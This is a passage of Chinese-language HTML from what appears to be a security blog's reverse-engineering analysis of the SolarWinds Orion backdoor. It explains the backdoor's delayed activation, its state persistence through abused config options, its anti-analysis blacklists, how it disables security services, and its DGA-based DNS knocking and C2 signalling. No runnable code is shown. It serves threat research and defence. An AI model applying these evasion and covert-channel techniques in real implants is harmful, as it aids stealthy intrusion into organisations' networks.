0.5px;">如果检测通过，后门将读取SolarWinds.Orion.Core.BusinessLayer.dll的最后写入时间。我们考虑一套软件的安装部署流程，这几乎可以认为是后门落地时间。之后生成一个位于288-336之间的随机数作为经过的小时间隔（图4），与落地时间相加后和当前时间做对比。只有当前时间大于这个随机时间间隔才会上线。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">这意味着后门的上线时间和落地时间的间隔被拉长并随机化，在落地的前12天是不会上线的，12-14天则随时间逐渐提高上线几率（图5），直到14天后才会确保上线。</span></p><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.08292682926829269" data-backh="46" data-type="png" data-w="820" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=0122b492&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzbgYznYT1Ccl6mgP8Nh2CFXEe3QXuVCoM5tR4SUBWPwBdnmu8fyyJgw%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><span style="font-size: 15px;letter-spacing: 0.5px;">图4</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-backh="350" data-backw="554" data-ratio="0.6323529411764706" style="width: 100%;height: auto;" data-type="png" data-w="1632" src="https://wechat2rss.xlab.app/img-proxy/?k=2b52d47c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrz9KV3navPM1y1HmmEFTLgb3JdeIjFOXT1gjM9pwEVnQVOcibUoVhBB1Q%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.5px;">图5</span></section><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">在时间判断通过后，首先根据硬编码名称583da945-62af-10e8-4902-a8f205c72b2e（图6）创建命名管道（图7），用于保证多进程中的互斥行为，如失败将抛出异常并在捕获后退出线程。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.05916305916305916" data-s="300,640" data-backh="34" data-type="png" data-w="693" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=7813d505&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzvWF3L8zyr3Fr4TiaLeDrsicjwicUwaZF4u6qicNlomSEibP2Mqj4Tk6Q3yA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图6</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.05454545454545454" data-backh="24" data-type="png" data-w="440" style="width: 100%;height: auto;" data-backw="440" src="https://wechat2rss.xlab.app/img-proxy/?k=f69ab40a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzS5Bp7FwIL8FYkDx4AcwAAfWZOYVialoA1YUPPd2DkqNTzEWeJ2vBcgQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图7</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">随后将检查一个被恶意复用的配置选项ReportWatcherRetry。此选项本用于[SolarWinds.Orion.Core.Common]SolarWinds.Orion.Core.Common.OrionReportHelper::InitReportsWatcher方法中（图8），作为正常处理报告期间的重试次数，其默认值为4。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">恶意代码将检查此项，其3、4、5的值分别对应Truncate、New、Append三种持久化状态（图9）。</span></section><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.43722943722943725" data-s="300,640" data-backh="253" data-type="png" data-w="693" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=20b5b7c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzqdLgC39WHWek0ubs1LiaXxzPZfKqPVZE10oI5Y0mwwnembQhOsYUBhA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图8</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.4776536312849162" data-backh="171" data-type="png" data-w="358" style="width: 100%;height: auto;" data-backw="358" src="https://wechat2rss.xlab.app/img-proxy/?k=8c3dbfec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzMhlzvYGnxhA7tBP6y8ibOyrAibicBf0sll4rqibicPKibibOgkzcOHAc0rs0w%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图9</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">默认值对应New，表明新植入。而值为3对应的Truncate状态将导致后门直接退出。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;">这里滥用了一个已知选项，在不影响正常功能的情况下对自身状态进行了持久化，其设计思路隐蔽巧妙，显示出了非常老练的后门功底。<strong>本次行动中攻击者多次将DNS协议本身携带的信息作为控制信道的一部分使用，这明显体现出高对抗状态下磨练出的实战技术视野，从技术和思维上已大大超过常规行动体的范畴</strong>，相关的细节将在0x23、0x24章节进行描述。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">如果状态不为Truncate，则将获取当前主机的Windows Domain Name，并进行以下两项检测：</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">1. 是否在patternHashes黑名单列表中。此黑名单维护了13个已知域（图10），通过简单的爆破可以得到以下结果：</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.5023923444976076" data-backh="278" data-type="png" data-w="627" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=aa28e1f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzEXKHlA3nWcyoV5f4cFPajWBI9ddYhFh1E5vvXiaibOGic3qPicnMia61lJA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图10</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">注意红圈所在的三个域名，我们有理由相信swdev为SolarWinds develop的缩写，swi为SolarWinds Internal的缩写，这从侧面证明了0x21中代码仓库已被实际控制的推测。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">2.域名是否包含test或solarwinds（不区分大小写），用于排除测试域或供应商内网（图11）。</span></section><section style="text-align: center;text-indent: 0em;"><img data-ratio="0.16286644951140064" data-backh="83" data-type="png" data-w="614" style="width: 100%;height: auto;" data-backw="513" src="https://wechat2rss.xlab.app/img-proxy/?k=5c728191&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzqEAuTtTAVohUsoGvWwaV9x6Q6iaMcFmNBWIRaEcYozqI0H29foicW1Zg%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图11</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">域名检测通过后，首先检测网卡，根据第一个非回环启用网卡生成唯一标识符（图12），并在后续通信中进行发送。</span><img data-ratio="0.057929724596391265" style="text-align: center;text-indent: 2em;width: 100%;height: auto;" data-type="png" data-w="1053" data-backw="578" data-backh="34" src="https://wechat2rss.xlab.app/img-proxy/?k=fe96f1b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzFSibicXJjpWrVxEG582IPDVOtqzyMyILTbQIfHW5mvgtNUNibqYknaicXA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图12</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">随后进入运行环境检测阶段。阶段第一步会对137个进程Hash黑名单进行检测，此黑名单中绝大多数为常见分析工具如ProcExp、WinHex、WinDbg等。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">第二步会遍历进程，计算Hash并尝试查找对应的杀软服务名称，共8组22个进程41个服务。如当前环境任一进程Hash与列表匹配，则遍历注册表HKLM\SYSTEM\CurrentControlSet\services子项，修改任何匹配的服务项权限为完全控制，并将服务状态设置为禁用（图13）。</span><img data-ratio="0.5216535433070866" style="text-align: center;text-indent: 2em;width: 100%;height: auto;" data-type="png" data-w="1016" data-backw="578" data-backh="302" src="https://wechat2rss.xlab.app/img-proxy/?k=6557731a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzpGMEW4KyTTCeAw2iaPXQtdFzBpfQmVUmT4VlToan0gCszCyRHicFWsWQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图13</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">成功设置禁用后，会使用另一个被恶意复用的配置选项ReportWatcherPostpone保存服务状态，此选项默认值为250。新状态通过位进行保存，恶意代码会在默认值的基础上与新状态求和并持久化写入（图14）。</span><img data-ratio="0.35805991440798857" style="text-indent: 2em;text-align: center;width: 100%;height: auto;" data-type="png" data-w="701" data-backw="578" data-backh="207" src="https://wechat2rss.xlab.app/img-proxy/?k=184a4185&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzzedNmYTuTbibkoqQFpwLSAodRG6g8fL1AGiarZNBNzias34RicKbeuP20w%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="text-align: center;text-indent: 2em;font-size: 15px;letter-spacing: 0.5px;">图14</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">如果未修改任何服务状态，则会执行WMI查询：Select * From Win32_SystemDriver来获取运行环境中已加载的驱动程序列表（图15），并和已知黑名单列表进行对比。此列表包含以下17项，基本为edr的过滤驱动：</span><img data-ratio="0.5780346820809249" style="text-align: center;text-indent: 2em;width: 100%;height: auto;" data-type="png" data-w="692" data-backw="578" data-backh="334" src="https://wechat2rss.xlab.app/img-proxy/?k=4d10b485&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzFZAvXAicrLrw1rLK5hWJ8JHAD2R3Ttia8OQXdqxRLFLkGEmw5b7gUVTg%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图15</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">如进程、服务、驱动状态检查通过，最后将解析官方域名api.solarwinds.com，如成功则转入上线逻辑（图16）。上述过程可用流程图表示如下：</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.7376237623762376" data-backh="409" data-type="png" data-w="1414" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=07c5c542&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzgrj2PrcmT4TScpicicdkPQb2OPA6oVJVLpRwIL7UOHY96QHe1FlGcoJw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图16</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">根据0x21的分析，如任一检测失败，在父进程SolarWinds.BusinessLayerHost.exe不重启或插件不重新加载的情况下不会再次上线（最坏的可能需要等待系统重启）。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">上述整体流程体现了在攻击者思想中</span><span style="letter-spacing: 0.5px;font-size: 16px;"><strong>隐蔽处于绝对的首位</strong></span><span style="font-size: 15px;letter-spacing: 0.5px;">，攻击者宁可放弃大量的上线机会也不愿在某个非安全环境上线，这种谨小慎微的做法和常规情况是完全相反的。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="letter-spacing: 0.5px;font-size: 24px;">0x23 敲门上报</span></strong></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">通过重重检测，后门将进入DNS敲门阶段。此整个生存周期内会通过一个DnsRecords对象（图17）保存敲门阶段获取的信息，并传递至控制阶段：</span><br/></p><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.5163934426229508" data-backh="252" data-type="png" data-w="488" style="width: 100%;height: auto;" data-backw="488" src="https://wechat2rss.xlab.app/img-proxy/?k=6426cbac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzGv588dGw8fReibrPMZlicKVrl1I1wYvH9r17SGSnvpsjm910jRKAwr7g%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图17</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">代码通过DNS协议中正常的名字与结构进行混淆视听，在后面我们还会看到更多写作A表示B的情形，一方面作为隐蔽措施，另一方面在一定程度上增加了分析成本，这些在常规样本中都是难以遇到的。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">恶意代码在敲门的第一步采用了dns协议，通过DGA生成随机域名，其实现为状态机。根据植入状态的不同，实际上存在两种DGA算法进行计算（图18）。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.18646734854445318" data-backh="103" data-type="png" data-w="1271" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=475cbde8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzSsaVxicgiaEDbKe9LbBTsT6eQSU2LuuL24R4ibE920ibLicH17QZ0uOAvmg%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图18</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">当持久化状态为New时，此时恶意代码认为处于首次运行（下称一阶段）。一阶段DGA由GetPreviousString方法生成，会进行以下操作：</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">1. 编码内网DNS主域名</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">    a)如全部由小写、数字、下划线、点组成，则执行码表变换。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">    b)否则，进行自定义映射表base32编码。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">2. 编码guid，并将随机key高位置位，随后进行base32编码。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">3. 编码后的主域名进行分段，并将编号通过编码后的guid的第一个字符求和进行编码。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">4. 合2、3、1三部分，作为DGA域名。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">随后，DGA域名将与四个随机的主域名进行拼接，并进行DNS查询。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">由于分段的原因，此阶段可能进行多次连续请求，任一分段发送失败都将调用GetCurrentString进行重发。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">返回的CNAME信息将保存至DnsRecords对象，根据查询结果，将进行以下判断：</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">1.如请求失败，则设置随机7-9小时的休眠时间（图19），并在下一次尝试时首先进行休眠操作。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.14805194805194805" data-backh="57" data-type="png" data-w="385" style="width: 100%;height: auto;" data-backw="385" src="https://wechat2rss.xlab.app/img-proxy/?k=0037f063&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzzetHZAZ5esZcO8x64iciaAH8AKERbC1AVr2Cgn0XUtYNWhq0FCAbXTdw%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.08379888268156424" data-backh="30" data-type="png" data-w="358" style="width: 100%;height: auto;" data-backw="358" src="https://wechat2rss.xlab.app/img-proxy/?k=5733ceb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzSYhAeolRzkxL5lt8v0LyoYs999xVfFia6mT15MvAuhHsdqib8OjRk2rA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图19</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">2.如请求成功，则首先判断是否存在CNAME信息，如不存在，则处理IP的最后两个字节，填充DnsRecords对象的以下字段：</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">a)length字段，此字段用于保存控制阶段应用的代理类型（图20）。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.49217391304347824" data-backh="273" data-type="png" data-w="575" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=9e2ae63e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzFx51TdgQogUxOKuK7zlTiahgsTkVcYiaZR8EjyjcPtxl1kwrQmWQPVag%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图20</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">b)type字段，此字段决定控制阶段使用的url以及对返回数据的解码方式（图21）。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.44126984126984126" data-backh="244" data-type="png" data-w="630" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=95842900&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzkr6m86EPAJx0zFJC341q96iclP0vMCuNMZqVUJsFrId6MH7aqqzKcPg%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图21</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">c)A字段，此字段决定敲门阶段每次DNS请求之间的延时（图21）。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.8468013468013468" data-backh="469" data-type="png" data-w="594" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=256ff8b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzGzEfNf3LjRCbic96icE9Jz78CZ0SjZyOX2WQA00jUBOypAiahhevCJgVw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图21</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">3.无论CNAME是否存在，之后均将遍历以下名单（图22）：</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.5425764192139738" data-backh="301" data-type="png" data-w="916" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=3493dcba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrziaichPUx4YfRL4iagECmetibNRyHfPHMP0VaQHLkVF6Oq96qSNwMtVWy1A%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图22</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">注意这里的AddressFamilyEx枚举，其中使用Atm作为内网IP黑名单，ImpLink作为外网IP黑名单，Ipx作为等待名单，NetBios作为白名单。包括IPAddressesHeler类在内，这同样都是通过看似正常的代码混淆视听的行为。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">如返回IP处于任一黑名单，将导致状态更改为Truncate，从而导致后续操作全部终止，当后续恶意代码执行时，由于0x22检测 阶段的判定检测失败从而永不上线（图23）。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.14308426073131955" data-backh="79" data-type="png" data-w="629" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=9d2412a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzicU1LqiblacJicicattX6yvBHUxG3SxEWywNsQt0cRDOIutgEhzdVlVrqw%2F640%3Fwx_fmt%3Dpng"/></section><p style="text-align: left;"><br/></p><section style="text-align: center;text-indent: 0em;"><img class="rich_pages" data-ratio="0.39105339105339104" data-s="300,640" data-backh="226" data-type="png" data-w="693" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=dd1e4476&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzDmhx7OC7Fs3oTN7m3Typ8DPs68U3Gw6AsiceicPjTlrjxKxndKy1ia88g%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图23</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">若处于等待名单，则将状态重置为New，退出此次活动，并等待下次调用。（图24）</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.22203947368421054" data-backh="123" data-type="png" data-w="608" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=8d5c13b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzA28l5ergnlDfI4BvdoGysCHyGNGeZOQw4seulibLGv0aa81iclK6Gcicg%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图24</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">若处于白名单，则循环发送被分段的域名直到结束，随后进入二阶段（图25）。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.22587719298245615" data-backh="103" data-type="png" data-w="456" style="width: 100%;height: auto;" data-backw="456" src="https://wechat2rss.xlab.app/img-proxy/?k=4e5ea71c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzpPC2Du5rErpXe2JRx7tr2k7h4Iq40GjL39ibTmtDDBPDWrUXB5fib3Mw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图25</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">其他任何情况下，将退出此次活动，并等待下次调用。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">这实质上是一个</span><span style="letter-spacing: 0.5px;font-size: 16px;"><strong>自毁/上线/休眠</strong></span><span style="font-size: 15px;letter-spacing: 0.5px;">开关，判定的依据则是DNS协议返回的IP本身。攻击者充分利用了常规DNS协议中的数据交互，巧妙地将所需信息以寄生的方式隐写在正常协议数据内，摆脱了常规基于TXT记录接收信息返回的方式，其谨慎程度可见一斑。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">当域名被完整发送后将进入阶段二，此阶段DGA由GetNextString方法生成，该方法会进行以下操作：</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">1.计算自2010-1-1 0:0:0开始，以半小时为单位的时间戳，取后三字节并对高4位进行混淆。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">2.以时间戳为key对guid进行循环异或。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">3.拼接2、1，产生高位未置位的随机key并进行编码，随后进行base32编码作为DGA。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">同样的，该DGA域名将与四个随机的主域名进行拼接，并进行DNS查询，查询结果同样将进行上述黑白灰名单验证，如验证通过、包含CNAME且CNAME所指向IP被标记为ext，则敲门阶段结束，进入后续控制阶段（图26）。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.5897435897435898" data-backh="258" data-type="png" data-w="546" style="width: 100%;height: auto;" data-backw="437" src="https://wechat2rss.xlab.app/img-proxy/?k=ceab5270&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzq9z61Yia6b3C4leBZlCZ0xNHiabjLwiaPjcJyr4JcyWtWHhedibEH8gY9Q%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图26</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 